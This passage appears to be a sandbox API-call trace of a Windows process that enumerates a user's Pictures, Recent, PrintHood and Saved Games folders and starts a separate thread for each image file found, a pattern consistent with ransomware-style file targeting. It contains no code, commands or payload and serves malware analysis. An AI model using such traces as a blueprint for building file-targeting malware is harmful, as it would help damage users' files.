ftCreationTime.dwHighDateTime=0x1d4ccec, ftLastAccessTime.dwLowDateTime=0xbee53eb0, ftLastAccessTime.dwHighDateTime=0x1d4c599, ftLastWriteTime.dwLowDateTime=0xbee53eb0, ftLastWriteTime.dwHighDateTime=0x1d4c599, nFileSizeHigh=0x0, nFileSizeLow=0x8a2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TG1fyx0oNrZZb.png", cAlternateFileName="TG1FYX~1.PNG")) returned 1 [0063.631] wcscmp (_String1="TG1fyx0oNrZZb.png", _String2=".") returned 1 [0063.631] wcscmp (_String1="TG1fyx0oNrZZb.png", _String2="..") returned 1 [0063.631] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3481b58 [0063.631] wcscpy (in: _Dest=0x3481b58, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.631] wcscat (in: _Dest=0x3481b58, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.631] wcscat (in: _Dest=0x3481b58, _Source="TG1fyx0oNrZZb.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png") returned="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png" [0063.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481b58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0063.632] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7052c10, ftCreationTime.dwHighDateTime=0x1d4d106, ftLastAccessTime.dwLowDateTime=0xd9b40940, ftLastAccessTime.dwHighDateTime=0x1d4caf5, ftLastWriteTime.dwLowDateTime=0xd9b40940, ftLastWriteTime.dwHighDateTime=0x1d4caf5, nFileSizeHigh=0x0, nFileSizeLow=0x97eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="uOpWqV2kw.png", cAlternateFileName="UOPWQV~1.PNG")) returned 1 [0063.632] wcscmp (_String1="uOpWqV2kw.png", _String2=".") returned 1 [0063.632] wcscmp (_String1="uOpWqV2kw.png", _String2="..") returned 1 [0063.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430c28 [0063.632] wcscpy (in: _Dest=0x3430c28, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.632] wcscat (in: _Dest=0x3430c28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.632] wcscat (in: _Dest=0x3430c28, _Source="uOpWqV2kw.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png") returned="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png" [0063.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430c28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0063.633] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81cbbc0, ftCreationTime.dwHighDateTime=0x1d4ccfd, ftLastAccessTime.dwLowDateTime=0xb77d4910, ftLastAccessTime.dwHighDateTime=0x1d4cbd9, ftLastWriteTime.dwLowDateTime=0xb77d4910, ftLastWriteTime.dwHighDateTime=0x1d4cbd9, nFileSizeHigh=0x0, nFileSizeLow=0x3a4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="UQ3PrxUz.bmp", cAlternateFileName="")) returned 1 [0063.633] wcscmp (_String1="UQ3PrxUz.bmp", _String2=".") returned 1 [0063.633] wcscmp (_String1="UQ3PrxUz.bmp", _String2="..") returned 1 [0063.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430de0 [0063.634] wcscpy (in: _Dest=0x3430de0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.634] wcscat (in: _Dest=0x3430de0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.634] wcscat (in: _Dest=0x3430de0, _Source="UQ3PrxUz.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp" [0063.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0063.634] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1f3fc0, ftCreationTime.dwHighDateTime=0x1d4d2c5, ftLastAccessTime.dwLowDateTime=0xdd75bb00, ftLastAccessTime.dwHighDateTime=0x1d4c6a9, ftLastWriteTime.dwLowDateTime=0xdd75bb00, ftLastWriteTime.dwHighDateTime=0x1d4c6a9, nFileSizeHigh=0x0, nFileSizeLow=0xe203, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLp OGjpNqzeo0.gif", cAlternateFileName="VLPOGJ~1.GIF")) returned 1 [0063.634] wcscmp (_String1="VLp OGjpNqzeo0.gif", _String2=".") returned 1 [0063.634] wcscmp (_String1="VLp OGjpNqzeo0.gif", _String2="..") returned 1 [0063.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481bb8 [0063.635] wcscpy (in: _Dest=0x3481bb8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.635] wcscat (in: _Dest=0x3481bb8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.635] wcscat (in: _Dest=0x3481bb8, _Source="VLp OGjpNqzeo0.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif") returned="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif" [0063.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0063.635] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca400, ftCreationTime.dwHighDateTime=0x1d4cec3, ftLastAccessTime.dwLowDateTime=0xf59a8bc0, ftLastAccessTime.dwHighDateTime=0x1d4c695, ftLastWriteTime.dwLowDateTime=0xf59a8bc0, ftLastWriteTime.dwHighDateTime=0x1d4c695, nFileSizeHigh=0x0, nFileSizeLow=0xd015, dwReserved0=0x0, dwReserved1=0x0, cFileName="wveNXSwsujhjT.gif", cAlternateFileName="WVENXS~1.GIF")) returned 1 [0063.635] wcscmp (_String1="wveNXSwsujhjT.gif", _String2=".") returned 1 [0063.635] wcscmp (_String1="wveNXSwsujhjT.gif", _String2="..") returned 1 [0063.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x34821b8 [0063.635] wcscpy (in: _Dest=0x34821b8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.635] wcscat (in: _Dest=0x34821b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.636] wcscat (in: _Dest=0x34821b8, _Source="wveNXSwsujhjT.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif") returned="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif" [0063.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34821b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0063.636] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1c67f0, ftCreationTime.dwHighDateTime=0x1d4cdb5, ftLastAccessTime.dwLowDateTime=0xfcf56760, ftLastAccessTime.dwHighDateTime=0x1d4ca2c, ftLastWriteTime.dwLowDateTime=0xfcf56760, ftLastWriteTime.dwHighDateTime=0x1d4ca2c, nFileSizeHigh=0x0, nFileSizeLow=0x14e26, dwReserved0=0x0, dwReserved1=0x0, cFileName="XSXB9S.jpg", cAlternateFileName="")) returned 1 [0063.636] wcscmp (_String1="XSXB9S.jpg", _String2=".") returned 1 [0063.636] wcscmp (_String1="XSXB9S.jpg", _String2="..") returned 1 [0063.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3481488 [0063.636] wcscpy (in: _Dest=0x3481488, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.636] wcscat (in: _Dest=0x3481488, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.636] wcscat (in: _Dest=0x3481488, _Source="XSXB9S.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg" [0063.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0063.638] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0b5a00, ftCreationTime.dwHighDateTime=0x1d4c6c2, ftLastAccessTime.dwLowDateTime=0x7b58dd80, ftLastAccessTime.dwHighDateTime=0x1d4d2fc, ftLastWriteTime.dwLowDateTime=0x7b58dd80, ftLastWriteTime.dwHighDateTime=0x1d4d2fc, nFileSizeHigh=0x0, nFileSizeLow=0x9db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="xVPn.gif", cAlternateFileName="")) returned 1 [0063.638] wcscmp (_String1="xVPn.gif", _String2=".") returned 1 [0063.638] wcscmp (_String1="xVPn.gif", _String2="..") returned 1 [0063.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x3481618 [0063.638] wcscpy (in: _Dest=0x3481618, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.638] wcscat (in: _Dest=0x3481618, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.639] wcscat (in: _Dest=0x3481618, _Source="xVPn.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif") returned="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif" [0063.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0063.639] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5ca0d0, ftCreationTime.dwHighDateTime=0x1d4cdc9, ftLastAccessTime.dwLowDateTime=0x2553f320, ftLastAccessTime.dwHighDateTime=0x1d4d3bf, ftLastWriteTime.dwLowDateTime=0x2553f320, ftLastWriteTime.dwHighDateTime=0x1d4d3bf, nFileSizeHigh=0x0, nFileSizeLow=0x16896, dwReserved0=0x0, dwReserved1=0x0, cFileName="ye pveKePv_.bmp", cAlternateFileName="YEPVEK~1.BMP")) returned 1 [0063.639] wcscmp (_String1="ye pveKePv_.bmp", _String2=".") returned 1 [0063.639] wcscmp (_String1="ye pveKePv_.bmp", _String2="..") returned 1 [0063.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481cd8 [0063.639] wcscpy (in: _Dest=0x3481cd8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.639] wcscat (in: _Dest=0x3481cd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.639] wcscat (in: _Dest=0x3481cd8, _Source="ye pveKePv_.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp" [0063.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0066.354] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e900620, ftCreationTime.dwHighDateTime=0x1d4cb2d, ftLastAccessTime.dwLowDateTime=0xf3110940, ftLastAccessTime.dwHighDateTime=0x1d4c66a, ftLastWriteTime.dwLowDateTime=0xf3110940, ftLastWriteTime.dwHighDateTime=0x1d4c66a, nFileSizeHigh=0x0, nFileSizeLow=0x7985, dwReserved0=0x0, dwReserved1=0x0, cFileName="yNr0x7.gif", cAlternateFileName="")) returned 1 [0066.354] wcscmp (_String1="yNr0x7.gif", _String2=".") returned 1 [0066.354] wcscmp (_String1="yNr0x7.gif", _String2="..") returned 1 [0066.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480f88 [0066.354] wcscpy (in: _Dest=0x3480f88, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0066.354] wcscat (in: _Dest=0x3480f88, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.354] wcscat (in: _Dest=0x3480f88, _Source="yNr0x7.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif") returned="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif" [0067.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0067.177] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ce5390, ftCreationTime.dwHighDateTime=0x1d4cdf1, ftLastAccessTime.dwLowDateTime=0x58c34390, ftLastAccessTime.dwHighDateTime=0x1d4cf42, ftLastWriteTime.dwLowDateTime=0x58c34390, ftLastWriteTime.dwHighDateTime=0x1d4cf42, nFileSizeHigh=0x0, nFileSizeLow=0x5d1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="YOC6HBl41CaRP37U4Y5.jpg", cAlternateFileName="YOC6HB~1.JPG")) returned 1 [0067.177] wcscmp (_String1="YOC6HBl41CaRP37U4Y5.jpg", _String2=".") returned 1 [0067.177] wcscmp (_String1="YOC6HBl41CaRP37U4Y5.jpg", _String2="..") returned 1 [0067.177] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dbd0 [0067.177] wcscpy (in: _Dest=0x347dbd0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0067.177] wcscat (in: _Dest=0x347dbd0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0067.177] wcscat (in: _Dest=0x347dbd0, _Source="YOC6HBl41CaRP37U4Y5.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg" [0067.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347dbd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0067.177] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ba34ae0, ftCreationTime.dwHighDateTime=0x1d4cad5, ftLastAccessTime.dwLowDateTime=0x5d367ad0, ftLastAccessTime.dwHighDateTime=0x1d4cf03, ftLastWriteTime.dwLowDateTime=0x5d367ad0, ftLastWriteTime.dwHighDateTime=0x1d4cf03, nFileSizeHigh=0x0, nFileSizeLow=0x1491d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZN5ZpCbSIXoy.gif", cAlternateFileName="ZN5ZPC~1.GIF")) returned 1 [0067.177] wcscmp (_String1="ZN5ZpCbSIXoy.gif", _String2=".") returned 1 [0067.178] wcscmp (_String1="ZN5ZpCbSIXoy.gif", _String2="..") returned 1 [0067.178] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481df8 [0067.178] wcscpy (in: _Dest=0x3481df8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0067.178] wcscat (in: _Dest=0x3481df8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0067.178] wcscat (in: _Dest=0x3481df8, _Source="ZN5ZpCbSIXoy.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif") returned="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif" [0067.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0067.178] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210a10c0, ftCreationTime.dwHighDateTime=0x1d4d017, ftLastAccessTime.dwLowDateTime=0xcfd1e070, ftLastAccessTime.dwHighDateTime=0x1d4cad5, ftLastWriteTime.dwLowDateTime=0xcfd1e070, ftLastWriteTime.dwHighDateTime=0x1d4cad5, nFileSizeHigh=0x0, nFileSizeLow=0x16022, dwReserved0=0x0, dwReserved1=0x0, cFileName="_v9MbKB.png", cAlternateFileName="")) returned 1 [0067.178] wcscmp (_String1="_v9MbKB.png", _String2=".") returned 1 [0067.178] wcscmp (_String1="_v9MbKB.png", _String2="..") returned 1 [0067.178] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430d88 [0067.178] wcscpy (in: _Dest=0x3430d88, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0067.178] wcscat (in: _Dest=0x3430d88, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0067.179] wcscat (in: _Dest=0x3430d88, _Source="_v9MbKB.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png") returned="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png" [0067.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0067.179] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210a10c0, ftCreationTime.dwHighDateTime=0x1d4d017, ftLastAccessTime.dwLowDateTime=0xcfd1e070, ftLastAccessTime.dwHighDateTime=0x1d4cad5, ftLastWriteTime.dwLowDateTime=0xcfd1e070, ftLastWriteTime.dwHighDateTime=0x1d4cad5, nFileSizeHigh=0x0, nFileSizeLow=0x16022, dwReserved0=0x0, dwReserved1=0x0, cFileName="_v9MbKB.png", cAlternateFileName="")) returned 0 [0067.179] FindClose (in: hFindFile=0x3434328 | out: hFindFile=0x3434328) returned 1 [0067.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ab8) returned 1 [0067.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34338e8) returned 1 [0067.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433de8) returned 1 [0067.179] RtlExitUserThread (Status=0x0) Thread: id = 285 os_tid = 0x12ec [0063.557] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3434368 [0063.557] wcscpy (in: _Dest=0x3434368, _Source="C:\\Users\\FD1HVy\\PrintHood" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood") returned="C:\\Users\\FD1HVy\\PrintHood" [0063.557] wcscat (in: _Dest=0x3434368, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood\\") returned="C:\\Users\\FD1HVy\\PrintHood\\" [0063.558] wcscat (in: _Dest=0x3434368, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood\\*") returned="C:\\Users\\FD1HVy\\PrintHood\\*" [0063.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427d20 [0063.558] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\PrintHood\\*", lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427d20) returned 1 [0063.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434368) returned 1 [0063.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433a28) returned 1 [0063.558] RtlExitUserThread (Status=0x0) Thread: id = 286 os_tid = 0x12f0 [0063.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433a28 [0063.559] wcscpy (in: _Dest=0x3433a28, _Source="C:\\Users\\FD1HVy\\Recent" | out: _Dest="C:\\Users\\FD1HVy\\Recent") returned="C:\\Users\\FD1HVy\\Recent" [0063.559] wcscat (in: _Dest=0x3433a28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Recent\\") returned="C:\\Users\\FD1HVy\\Recent\\" [0063.559] wcscat (in: _Dest=0x3433a28, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Recent\\*") returned="C:\\Users\\FD1HVy\\Recent\\*" [0063.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427d20 [0063.559] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Recent\\*", lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427d20) returned 1 [0063.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433a28) returned 1 [0063.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e94b0) returned 1 [0063.559] RtlExitUserThread (Status=0x0) Thread: id = 287 os_tid = 0x12f4 [0063.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3c) returned 0x33fce90 [0063.560] wcscpy (in: _Dest=0x33fce90, _Source="C:\\Users\\FD1HVy\\Saved Games" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games") returned="C:\\Users\\FD1HVy\\Saved Games" [0063.560] wcscat (in: _Dest=0x33fce90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games\\") returned="C:\\Users\\FD1HVy\\Saved Games\\" [0063.560] wcscat (in: _Dest=0x33fce90, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games\\*") returned="C:\\Users\\FD1HVy\\Saved Games\\*" [0063.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427d20 [0063.560] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Saved Games\\*", lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a28 [0063.560] wcscmp (_String1=".", _String2=".") returned 0 [0063.560] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.560] wcscmp (_String1="..", _String2=".") returned 1 [0063.561] wcscmp (_String1="..", _String2="..") returned 0 [0063.561] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.561] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.561] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.561] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.561] FindClose (in: hFindFile=0x3433a28 | out: hFindFile=0x3433a28) returned 1 [0063.561] 